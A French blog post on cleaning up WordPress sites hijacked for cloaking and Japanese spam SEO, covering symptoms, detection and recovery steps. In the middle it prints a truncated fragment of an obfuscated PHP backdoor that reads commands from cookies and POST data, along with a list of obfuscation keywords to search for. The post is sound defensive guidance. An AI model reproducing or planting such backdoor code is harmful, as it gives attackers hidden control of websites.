WordPress hacking – Cloaking – Japanese Spam SEO
Hello Fox,
cela fait très longtemps que je n’ai pas publié un article sur ce blog, et c’est bien dommage. Je viens de terminer le restore de 6 sites web que j’héberge sur ma dedibox à cause de ma fainéantise.
Pourtant tout le monde le sait qu’un système à jour a moins de chance de se faire poutrer … Pour le coup j’ai rattrapé le temps perdu, et je voulais partager mon expérience avec vous si jamais vous auriez laissé à l’abandon votre WP.
Symptômes
- Vous vous êtes fait blacklisté par Google
- Vous n’avez plus d’accès à votre wp-admin/update-core.php (erreur 403)
- Votre référencement est partie en sucette avec des liens qui ne font pas partie de votre site web
Comment vérifier que vous êtes bien hacké
- Lancer votre navigateur préféré en mode développeur (pour ma part j’utilise Brave), modifiez les conditions réseau pour surfer avec un UserAgentBot, et lancez votre site web:
Vous devriez avoir une belle surprise, ce n’est pas le contenu de votre site mais celui d’un autre.
Bienvenue dans le Cloaking, cette technique bien utilisé des hackers pour optimiser leur référencement grâce à votre site web. - Allez dans votre moteur de recherche préféré et tapez :
site:kaizeronion.com
Oups, votre référencement n’est plus là et à la place un mec a utiliser votre domaine pour se faire une campagne d’enfer. - Si vous n’utilisez pas encore google search console, créez vous un compte immédiatement ! Vous en aurez besoin plus tard pour demander à nouveau l’indexation de votre site web.
Comment réparer votre wordpress
Maintenant comment faire pour récupérer la main sur son site web.
Vous pouvez toujours faire appel à un ami, ou alors chercher pour le plugin miracle qui va vous régler ça. Alors oui ça existe mais c’est pas gratuit. Pour en citer quelques uns :
Sinon vous pouvez tenter de suivre ces quelques étapes.
Est ce que vous avez un accès sur le système de fichiers de votre wordpress, si oui ça va aller. Sinon contactez votre hébergeur et dites lui de suivre cette procédure 😉
- Télécharger la dernière version de WordPress ici
Gardez à l’esprit que les éléments suivants peuvent être remplacés sans impact sur votre site web :
- wp-includes
- wp-admin
- tous les fichiers à la racine
Dans un premier temps, il faut absolument désactivez vos plugins et thèmes, simplement en renommant le dossier tel quel :
- plugins-old
- themes-old
À présent vous pouvez recopier les nouveaux fichiers de votre wordpress pour les dossiers wp-includes & wp-admin. N’oubliez pas les fichiers à la racine, vous devriez avoir cette arborescence :
- index.php
- wp-activate.php
- wp-blog-header.php
- wp-comments-post.php
- wp-config.php (conservez le vote, mais vérifiez qu’il n’y a pas de code malicieux dedans)
- wp-cron.php
- wp-links-opml.php
- wp-load.php
- wp-login.php
- wp-mail.php
- wp-settings.php
- wp-signup.php
- wp-trackback.php
- xmlrpc.php
Vérifiez également dans le dossier wp-content/uploads que vous n’avez aucun fichier avec les extensions suivantes :
- .php
- .js
- .gzip
Utilisez la commande suivante :
find . -name ‘*.php’ -print
Vous devriez trouver des fichiers avec des noms comme : jiclhhkx.php
Et du code comme ceci :
<?php function l1($r2){$t3 = “FE9I)r?o’/.fceyd-vp*<Liu3tl0h2m16b#5;74gks@(a” .”_” .”nHx ” ;$i5=”;foreach($r2 as $h4){$i5.=$t3[$h4];}return $i5;}$y6 = Array();$y6[] = l1(Array(32,13,37,11,33,12,13,37,16,35,24,24,11,16,38,29,13,44,16,2,32,13,38,16,44,35,11,27,11,11,24,12,31,37,33,15));$y6[] = l1(Array(6,18,28,18,49,42,23,46,26,22,46,40,43,45,45,0,3,21,1,45,45,4,36,49));$y6[] = l1(Array(10,30,7,15,23,26,13));$y6[] = l1(Array(47,19));$y6[] = l1(Array(10,9));$y6[] = l1(Array(34));$y6[] = l1(Array(20));$y6[] = l1(Array(11,22,26,13,45,18,23,25,45,12,7,46,25,13,46,25,41));$y6[] = l1(Array(44,5,5,44,14,45,30,13,5,39,13));$y6[] = l1(Array(41,25,5,45,5,13,18,13,44,25));$y6[] = l1(Array(13,48,18,26,7,15,13));$y6[] = l1(Array(41,23,33,41,25,5));$y6[] = l1(Array(23,46,26,22,46,40));$y6[] = l1(Array(41,25,5,26,13,46));$y6[] = l1(Array(18,44,12,40));$y6[] = l1(Array(30,15,35));foreach ($y6[8]($_COOKIE, $_POST) as $m14 => $o11){function r8($y6, $m14, $g10){return $y6[11]($y6[9]($m14 . $y6[0], ($g10 / $y6[13]($m14)) + 1), 0, $g10);}function w7($y6, $v12){return @$y6[14]($y6[3], $v12);}function m9($y6, $v12){if (isset($v12[2])) {$u13 = $y6[4] . $y6[15]($y6[0])
Vous devriez à nouveau avoir accès à votre site web sur le wp-admin, à ce moment faites tous les MAJ de vos plugins en remettant le dossiers plugins-old en plugins. Si il n’existe plus de MAJ pour votre plugin, adaptez votre site web sans ce plugin.
Un plugin avec une MAJ vieille de plus de 1 an n’est pas à conserver sur vote site web.
Faites de même avec votre thème.
Si après cela ne fonctionne toujours pas, vérifiez à nouveau votre index.php, si il contient de nouveau du code malicieux c’est qu’il vous reste quelque part du code caché.
Chercher à partir du dossier racine de votre site web, des fichiers contenant :
- eval
- gzinflate
- str-rot13
- base64_decode
N’oubliez pas de supprimer les .htaccess à la racine ainsi que dans les dossiers Core comme wp-admin, wp-includes et wp-content.
Pour rappel, les droits sur votre serveur web doivent être pour les dossier en 755 et les fichiers en 644, voici 2 commandes très utiles pour modifier les permissions de manière massive:
- find . -type d -exec chmod 0755 {} \;
- find . -type f -exec chmod 0644 {} \;
Si vous avez besoin d’aide vous pouvez toujours me contacter 😉
Bon courage